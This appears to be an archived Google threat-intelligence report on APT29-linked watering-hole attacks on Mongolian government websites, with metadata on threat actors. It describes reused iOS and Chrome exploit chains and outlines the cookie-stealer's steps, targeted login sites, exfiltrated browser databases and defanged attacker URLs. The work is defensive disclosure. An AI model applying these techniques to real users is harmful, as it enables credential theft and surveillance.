{ "id": "cadc88bb-da04-467b-97bc-275b99cd929f", "created_at": "2026-04-06T00:08:59.36926Z", "updated_at": "2026-04-10T03:37:17.40977Z", "deleted_at": null, "sha1_hash": "1e04a28ab601e730afc27f3a81f783019811f1ce", "title": "State-backed attackers and commercial surveillance vendors repeatedly use the same exploits", "llm_title": "", "authors": "", "file_creation_date": "0001-01-01T00:00:00Z", "file_modification_date": "0001-01-01T00:00:00Z", "file_size": 212583, "plain_text": "State-backed attackers and commercial surveillance vendors\r\nrepeatedly use the same exploits\r\nBy Clement Lecigne\r\nPublished: 2024-08-29 · Archived: 2026-04-05 18:05:26 UTC\r\nOur latest n-day exploit reporting shows that in an attack on Mongolian government websites, Russian-backed\r\nAPT29 is suspected of using the same exploits as Intellexa and NSO. We’re sharing details and how people can\r\nmitigate risks of being infected.\r\nToday, we’re sharing that Google’s Threat Analysis Group (TAG) observed multiple in-the-wild exploit\r\ncampaigns, between November 2023 and July 2024, delivered from a watering hole attack on Mongolian\r\ngovernment websites. The campaigns first delivered an iOS WebKit exploit affecting iOS versions older than\r\n16.6.1 and then later, a Chrome exploit chain against Android users running versions from m121 to m123. These\r\ncampaigns delivered n-day exploits for which patches were available, but would still be effective against\r\nunpatched devices. We assess with moderate confidence the campaigns are linked to the Russian government-backed actor APT29. In each iteration of the watering hole campaigns, the attackers used exploits that were\r\nidentical or strikingly similar to exploits previously used by commercial surveillance vendors (CSVs) Intellexa\r\nand NSO Group.\r\nAlthough the underlying vulnerabilities had already been addressed, we notified both Apple and our partners at\r\nAndroid and Google Chrome about the campaigns at the time of discovery. We also notified the Mongolian CERT\r\nto remediate the infected websites.\r\nThis post will detail these campaigns, highlight the continued utility of watering hole attacks for sophisticated\r\nexploits, and demonstrate common exploit usage across government-backed actors and CSVs. This post also\r\nhighlights Google Chrome protections such as Site Isolation, which requires attackers to chain more\r\nvulnerabilities together in order to steal all cookies.\r\nWatering hole\r\nhttps://blog.google/threat-analysis-group/state-backed-attackers-and-commercial-surveillance-vendors-repeatedly-use-the-same-exploits/\r\nPage 1 of 6\n\nThe watering hole affected the cabinet.gov[.]mn and mfa.gov[.]mn websites, that were compromised to load a\r\nhidden iframe from the attacker-controlled website track-adv[.]com, which was replaced by ceo-adviser[.]com in\r\nlater iterations.\r\nNovember 2023: both cabinet.gov[.]mn and mfa.gov[.]mn included an iframe to https://track-adv[.]com/market-analytics.php?pc=1 that delivered the CVE-2023-41993 exploit to iPhone users running\r\nversions 16.6.1 or older. The payload was the same cookie stealer framework that TAG previously\r\nobserved being used in 2021 in a suspected APT29 campaign. This is the first time it has been observed\r\nsince the 2021 campaign.\r\nFebruary 2024: mfa.gov[.]mn was compromised again to include an iframe to https://ceo-adviser[.]com/fb-connect.php?online=1 and delivered the same CVE-2023-41993 exploit to iPhone users\r\nrunning versions 16.6.1 or older. The cookie stealer payload remained the same, but the list of target\r\nwebsites had been updated. For example, cookies from webmail.mfa.gov[.]mn/owa/auth were also\r\ncollected.\r\nJuly 2024: mfa.gov[.]mn was compromised again to include a piece of javascript redirecting Android users\r\nusing Google Chrome to https://track-adv[.]com/analytics.php?personalization_id=\u003crandom number\u003e. The\r\niframe delivered a Google Chrome exploit chain targeting CVE-2024-5274 and CVE-2024-4671 to deploy\r\na Chrome information stealing payload.\r\nApple Safari campaign\r\nThe November 2023 and February 2024 campaigns delivered an iOS exploit via CVE-2023-41993.\r\nWhen visited with an iPhone or iPad device, the watering hole sites used an iframe to serve a\r\nreconnaissance payload, which performed validation checks before ultimately downloading and deploying\r\nanother payload with the WebKit exploit to exfiltrate browser cookies from the device.\r\nThe WebKit exploit did not affect users running the current iOS version at the time (iOS 16.7), working\r\nonly on iOS versions 16.6.1 or older. Users with lockdown mode enabled were not affected even when\r\nrunning a vulnerable iOS version.\r\nAttack chain used in the November 2023-February 2024 campaigns targeting iOS\r\nReconnaissance payload\r\nThe reconnaissance payload uses a profiling framework drawing canvas to identify the target’s exact iPhone\r\nmodel, a technique used by many other actors. The iPhone model is sent back to the C2 along with screen size,\r\nwhether or not a touch screen is present, and a unique identifier per initial GET request (e.g.,\r\n1lwuzddaxoom5ylli37v90kj).\r\nThe server replies with either an AES encrypted next stage or 0, indicating that no payload is available for this\r\ndevice. The payload makes another request to the exploit server with gcr=1 as a parameter to get the AES\r\ndecryption key from the C2.\r\nExploit\r\nhttps://blog.google/threat-analysis-group/state-backed-attackers-and-commercial-surveillance-vendors-repeatedly-use-the-same-exploits/\r\nPage 2 of 6\n\nThe exploit from this watering hole used the exact same trigger as the exploit used by Intellexa as seen in the\r\nscreenshot below, strongly suggesting the authors and/or providers are the same. We do not know how attackers in\r\nthe recent watering hole campaigns acquired this exploit.\r\nThe exploits used in the November 2023 watering hole attack (left image) and by Intellexa in September 2023\r\n(right image) share the same trigger code.\r\nThe underlying bug is an optimization problem occurring during FTL JIT compilation. Both exploits also share\r\nthe same exploitation framework, which provide attackers with a set of utilities to execute arbitrary code (e.g.\r\ncustom MachO loader and parser, PAC and JIT cage bypasses).\r\nThere are several minimal differences between the two exploits, which include:\r\nFailure mode. If something goes wrong during exploitation, the exploit from the watering hole will send\r\nback the information to the C2 and try to crash the browser with an out-of-memory error. If the Intellexa\r\nexploit fails, it does not send information back and will just redirect the user to a legitimate website.\r\nAdditional data collection from target device. The exploit from the watering hole has an additional\r\nfunction named dacsiloscope using the read/write primitives to collect even more information about the\r\ntargeted device. This information is later used to decide whether or not the cookie stealer payload should be\r\nexecuted. For example, if the device doesn’t have PAC — which might be the case for an iPhone 8 running\r\niOS 16.X — the cookie stealer payload will simply not execute.\r\nCookie stealer\r\nThe iOS exploit loaded the same cookie stealer framework that TAG observed in March 2021 when a Russian\r\ngovernment-backed attacker exploited CVE-2021-1879 to acquire authentication cookies from prominent\r\nwebsites such as LinkedIn, Gmail and Facebook. In that campaign, attackers used LinkedIn Messaging to target\r\ngovernment officials from western European countries by sending them malicious links.\r\nIn the watering hole campaigns, the flow on iOS versions older than 16.6 is the same as described in the Root\r\nCause Analysis for CVE-2021-1879. For each targeted website:\r\nCreate a websocket w connected to an attacker-controlled IP address.\r\nSet m_universalAccess to 1 inside the SecurityOrigin class by traversing a set of pointers.\r\nCreate a new URL object u pointing to the targeted domain.\r\nOverwrite all Document URLS of the websocket w with the ones from the u URL.\r\nOverwrite m_url field of the websocket w with the u URL.\r\nTrigger a send on the websocket.\r\nAt the end of the websocket, the attacker receives requests as they would be delivered to the targeted\r\nwebsites u including the authentication cookies for the targeted websites.\r\nRestore m_universalAccess back to its original state.\r\nThe cookie stealer module is targeting the following hard-coded set of websites:\r\n[\"webmail.mfa.gov.mn/owa/auth\", \"accounts.google.com\", \"login.microsoftonline.com\",\r\n\"mail.google.com/mail/mu/0\", \"www.linkedin.com\", \"linkedin.com\", \"www.office.com\", \"login.live.com\",\r\nhttps://blog.google/threat-analysis-group/state-backed-attackers-and-commercial-surveillance-vendors-repeatedly-use-the-same-exploits/\r\nPage 3 of 6\n\n\"outlook.live.com\", \"login.yahoo.com\", \"mail.yahoo.com\", \"facebook.com\", \"github.com\", \"icloud.com\"]\r\nOn more recent versions of iOS, the payload is calling WebCore::NetworkStorageSession::getAllCookies() to\r\ncollect all cookies before exfiltrating them back to the C2.\r\nGoogle Chrome campaign\r\nAt the end of July 2024, a new watering hole appeared on the mfa.gov[.]mn website where track-adv[.]com was\r\nre-used to deliver a Google Chrome exploit chain to Android users. From a high-level overview, the attack and\r\nend goal are essentially the same as the iOS one — using n-day vulnerabilities in order to steal credential cookies\r\n— with some differences on the technical side. In this case, the attack required an additional sandbox escape\r\nvulnerability to break out of Chrome site isolation.\r\nInstead of a simple iframe directly added into the HTML, the attackers are now using a piece of obfuscated\r\njavascript to inject the malicious iframe pointing to https://track-adv[.]com/analytics.php?\r\npersonalization_id=\u003crandom number\u003e.\r\nBefore sending any stages, crypto keys are generated and exchanged using proper ECDH key exchange.\r\nPrevious campaigns received a static decryption key from the C2.\r\nIn both campaigns the attack uses indexedDB to store status information on the client side. In the iOS\r\nexploit the database was named minus and in the Chrome exploit the database was named tracker.\r\nA unique identifier using the same format (e.g., 2msa5mmjhqxpdsyb5vlcnd2t) was generated and passed as\r\ntt= parameter during all stages.\r\nAttack chain used during the July 2024 campaign targeting Google Chrome.\r\nReconnaissance payload\r\nThe reconnaissance payload is relatively simple and sends back browser information that is accessible from\r\njavascript to make sure the target is a real Chrome browser behind a real device. For example, this includes:\r\nScreen sizes\r\nNumber of CPUs\r\nBrands property from client hints\r\nGPU information\r\nInformation from window.navigator\r\nExploit\r\nThe exploit chained 2 vulnerabilities:\r\nCVE-2024-5274 to compromise the renderer. TAG and Chrome Security discovered and reported CVE-2024-5274 as an in-the-wild 0-day in May 2024 used by NSO Group, another CSV. Unlike the CVE-2023-\r\n41993 case above, here the attacker adapted NSO Group’s exploit. Even though they share a very similar\r\ntrigger, as seen in the screenshot below, the two exploits are conceptually different and the similarities are\r\nless obvious than the iOS exploit. For example, the NSO exploit was supporting Chrome versions ranging\r\nhttps://blog.google/threat-analysis-group/state-backed-attackers-and-commercial-surveillance-vendors-repeatedly-use-the-same-exploits/\r\nPage 4 of 6\n\nfrom 107 to 124, and the exploit from the watering hole was only targeting versions 121, 122 and 123\r\nspecifically.\r\nThe triggers for CVE-2024-5274 used in the July 2024 watering hole attack (left image) and by NSO in May 2024\r\n(right image).\r\nCVE-2024-4671 to escape the Chrome sandbox: The vulnerability was reported anonymously as an in-the-wild 0-day to Chrome in May 2024. The exploit sample from the watering hole, code named chopin, is\r\nsimilar to a previous Chrome sandbox escape we discovered Intellexa using in-the-wild exploiting CVE-2021-37973.\r\nThe attackers type confused Blink objects to escape the V8 heap sandbox, which was a known technique now\r\nfixed in Chrome m127.\r\nCookie stealer payload\r\nOnce the Chrome sandbox is escaped, a new payload is dropped into /data/data/com.android.chrome/c.so and\r\nexecuted via LD_PRELOAD. Normally, we would expect to see another stage exploiting a vulnerability to elevate\r\nprivileges and escape from the Chrome user. This campaign delivers a simple binary deleting all Chrome Crash\r\nreports and exfiltrating the following Chrome databases back to the track-adv[.]com server — similar to the basic\r\nfinal payload seen in the earlier iOS campaigns.\r\nCookies: saved cookies for all websites\r\nAccount Web Data: account related data like saved credit cards\r\nLogin Data: passwords stored in Chrome\r\nHistory: user Chrome history\r\nTrust Tokens: all Trust Tokens\r\nExploit reuse timeline\r\nAs mentioned above, in each iteration of the watering hole campaigns, the attackers used exploits that were\r\nidentical or strikingly similar to exploits from CSVs, Intellexa and NSO Group. We do not know how the attackers\r\nacquired these exploits. What is clear is that APT actors are using n-day exploits that were originally used as 0-\r\ndays by CSVs. It should be noted that outside of common exploit usage, the recent watering hole campaigns\r\notherwise differed in their approaches to delivery and second-stage objectives.\r\nConclusion\r\nWhile we are uncertain how suspected APT29 actors acquired these exploits, our research underscores the extent\r\nto which exploits first developed by the commercial surveillance industry are proliferated to dangerous threat\r\nactors. Moreover, watering hole attacks remain a threat where sophisticated exploits can be utilized to target those\r\nthat visit sites regularly, including on mobile devices. Watering holes can still be an effective avenue for n-day\r\nexploits by mass targeting a population that might still run unpatched browsers.\r\nhttps://blog.google/threat-analysis-group/state-backed-attackers-and-commercial-surveillance-vendors-repeatedly-use-the-same-exploits/\r\nPage 5 of 6\n\nAlthough the trend in the mobile space is towards complex full exploit chains, the iOS campaign is a good\r\nreminder of the fact that a single vulnerability can inflict harm and be successful. Google Chrome on Android\r\nprovides users strong default protections through features like Site Isolation that prevent the ability to steal other\r\nwebsite data — including cookies — from a compromised renderer. In order to be successful, the attackers had to\r\nchain an additional Chrome sandbox escape to read other website data.\r\nFollowing our disclosure policy, TAG shares its research to raise awareness and advance security across the\r\necosystem. We also add all identified websites and domains to Safe Browsing to safeguard users from further\r\nexploitation. We urge users and organizations to apply patches quickly and keep software fully up-to-date for their\r\nprotection. TAG will remain focused on detecting, analyzing, and preventing 0-day exploitation as well as\r\nreporting vulnerabilities to vendors immediately upon discovery.\r\nSpecial thanks to TAG’s Josh Atkins and Mandiant’s Luke Jenkins for their contributions to this analysis.\r\nIndicators of Compromise (IoCs)\r\niOS reconnaissance payload (VALIDVICTOR):\r\n8bd9a73da704b4d7314164bff71ca76c15742dcc343304def49b1e4543478d1a\r\niOS cookie stealer module (COOKIESNATCH):\r\nd19dcbb7ab91f908d70739968b14b26d7f6301069332609c78aafc0053b6a7e1\r\nChrome reconnaissance payload:\r\n21682218bde550b2f06ee2bb4f6a39cff29672ebe27acbb3cee5db79bf6d7297\r\nChrome cookie stealer payload (ANDROSNATCH):\r\ndf21c2615bc66c369690cf35aa5a681aed1692a5255d872427a2970e2894b2e3\r\nhttps://ceo-adviser[.]com/fb-connect.php?online=1\r\nhttps://track-adv[.]com/market-analytics.php?pc=1\r\nhttps://track-adv[.]com/analytics.php?personalization_id=\u003crandom number\u003e\r\nSource: https://blog.google/threat-analysis-group/state-backed-attackers-and-commercial-surveillance-vendors-repeatedly-use-the-same-exploi\r\nts/\r\nhttps://blog.google/threat-analysis-group/state-backed-attackers-and-commercial-surveillance-vendors-repeatedly-use-the-same-exploits/\r\nPage 6 of 6", "extraction_quality": 1, "language": "EN", "sources": [ "ETDA", "Malpedia" ], "references": [ "https://blog.google/threat-analysis-group/state-backed-attackers-and-commercial-surveillance-vendors-repeatedly-use-the-same-exploits/" ], "report_names": [ "state-backed-attackers-and-commercial-surveillance-vendors-repeatedly-use-the-same-exploits" ], "threat_actors": [ { "id": "5b748f86-ac32-4715-be9f-6cf25ae48a4e", "created_at": "2024-06-04T02:03:07.956135Z", "updated_at": "2026-04-10T02:00:03.689959Z", "deleted_at": null, "main_name": "IRON HEMLOCK", "aliases": [ "APT29 ", "ATK7 ", "Blue Kitsune ", "Cozy Bear ", "The Dukes", "UNC2452 ", "YTTRIUM " ], "source_name": "Secureworks:IRON HEMLOCK", "tools": [ "CosmicDuke", "CozyCar", "CozyDuke", "DiefenDuke", "FatDuke", "HAMMERTOSS", "LiteDuke", "MiniDuke", "OnionDuke", "PolyglotDuke", "RegDuke", "RegDuke Loader", "SeaDuke", "Sliver" ], "source_id": "Secureworks", "reports": null }, { "id": "a241a1ca-2bc9-450b-a07b-aae747ee2710", "created_at": "2024-06-19T02:03:08.150052Z", "updated_at": "2026-04-10T02:00:03.737173Z", "deleted_at": null, "main_name": "IRON RITUAL", "aliases": [ "APT29", "Blue Dev 5 ", "BlueBravo ", "Cloaked Ursa ", "CozyLarch ", "Dark Halo ", "Midnight Blizzard ", "NOBELIUM ", "StellarParticle ", "UNC2452 " ], "source_name": "Secureworks:IRON RITUAL", "tools": [ "Brute Ratel C4", "Cobalt Strike", "EnvyScout", "GoldFinder", "GoldMax", "NativeZone", "RAINDROP", "SUNBURST", "Sibot", "TEARDROP", "VaporRage" ], "source_id": "Secureworks", "reports": null }, { "id": "f4f16213-7a22-4527-aecb-b964c64c2c46", "created_at": "2024-06-19T02:03:08.090932Z", "updated_at": "2026-04-10T02:00:03.6289Z", "deleted_at": null, "main_name": "GOLD NIAGARA", "aliases": [ "Calcium ", "Carbanak", "Carbon Spider ", "FIN7 ", "Navigator ", "Sangria Tempest ", "TelePort Crew " ], "source_name": "Secureworks:GOLD NIAGARA", "tools": [ "Bateleur", "Carbanak", "Cobalt Strike", "DICELOADER", "DRIFTPIN", "GGLDR", "GRIFFON", "JSSLoader", "Meterpreter", "OFFTRACK", "PILLOWMINT", "POWERTRASH", "SUPERSOFT", "TAKEOUT", "TinyMet" ], "source_id": "Secureworks", "reports": null }, { "id": "46b3c0fc-fa0c-4d63-a38a-b33a524561fb", "created_at": "2023-01-06T13:46:38.393409Z", "updated_at": "2026-04-10T02:00:02.955738Z", "deleted_at": null, "main_name": "APT29", "aliases": [ "Cloaked Ursa", "TA421", "Blue Kitsune", "BlueBravo", "IRON HEMLOCK", "G0016", "Nobelium", "Group 100", "YTTRIUM", "Grizzly Steppe", "ATK7", "ITG11", "COZY BEAR", "The Dukes", "Minidionis", "UAC-0029", "SeaDuke" ], "source_name": "MISPGALAXY:APT29", "tools": [ "SNOWYAMBER", "HALFRIG", "QUARTERRIG" ], "source_id": "MISPGALAXY", "reports": null }, { "id": "20d3a08a-3b97-4b2f-90b8-92a89089a57a", "created_at": "2022-10-25T15:50:23.548494Z", "updated_at": "2026-04-10T02:00:05.292748Z", "deleted_at": null, "main_name": "APT29", "aliases": [ "APT29", "IRON RITUAL", "IRON HEMLOCK", "NobleBaron", "Dark Halo", "NOBELIUM", "UNC2452", "YTTRIUM", "The Dukes", "Cozy Bear", "CozyDuke", "SolarStorm", "Blue Kitsune", "UNC3524", "Midnight Blizzard" ], "source_name": "MITRE:APT29", "tools": [ "PinchDuke", "ROADTools", "WellMail", "CozyCar", "Mimikatz", "Tasklist", "OnionDuke", "FatDuke", "POSHSPY", "EnvyScout", "SoreFang", "GeminiDuke", "reGeorg", "GoldMax", "FoggyWeb", "SDelete", "PolyglotDuke", "AADInternals", "MiniDuke", "SeaDuke", "Sibot", "RegDuke", "CloudDuke", "GoldFinder", "AdFind", "PsExec", "NativeZone", "Systeminfo", "ipconfig", "Impacket", "Cobalt Strike", "PowerDuke", "QUIETEXIT", "HAMMERTOSS", "BoomBox", "CosmicDuke", "WellMess", "VaporRage", "LiteDuke" ], "source_id": "MITRE", "reports": null } ], "ts_created_at": 1775434139, "ts_updated_at": 1775792237, "ts_creation_date": 0, "ts_modification_date": 0, "files": { "pdf": "https://archive.orkl.eu/1e04a28ab601e730afc27f3a81f783019811f1ce.pdf", "text": "https://archive.orkl.eu/1e04a28ab601e730afc27f3a81f783019811f1ce.txt", "img": "https://archive.orkl.eu/1e04a28ab601e730afc27f3a81f783019811f1ce.jpg" } }